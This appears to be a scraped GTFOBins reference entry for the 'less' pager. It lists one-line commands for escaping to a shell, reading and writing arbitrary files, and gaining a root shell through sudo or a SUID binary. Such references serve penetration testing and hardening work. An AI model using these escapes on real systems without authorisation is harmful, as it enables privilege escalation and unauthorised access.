GTFOBins.github.io/_gtfobins/less.md
2018-08-24 13:30:23 +02:00

434 B

functions
execute-interactive file-read file-write sudo-enabled suid-enabled
code
less /etc/profile !/bin/sh
code
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile v
code
less file_to_read
code
echo DATA | less sfile_to_write q
code
sudo less /etc/profile !/bin/sh
code
./less file_to_read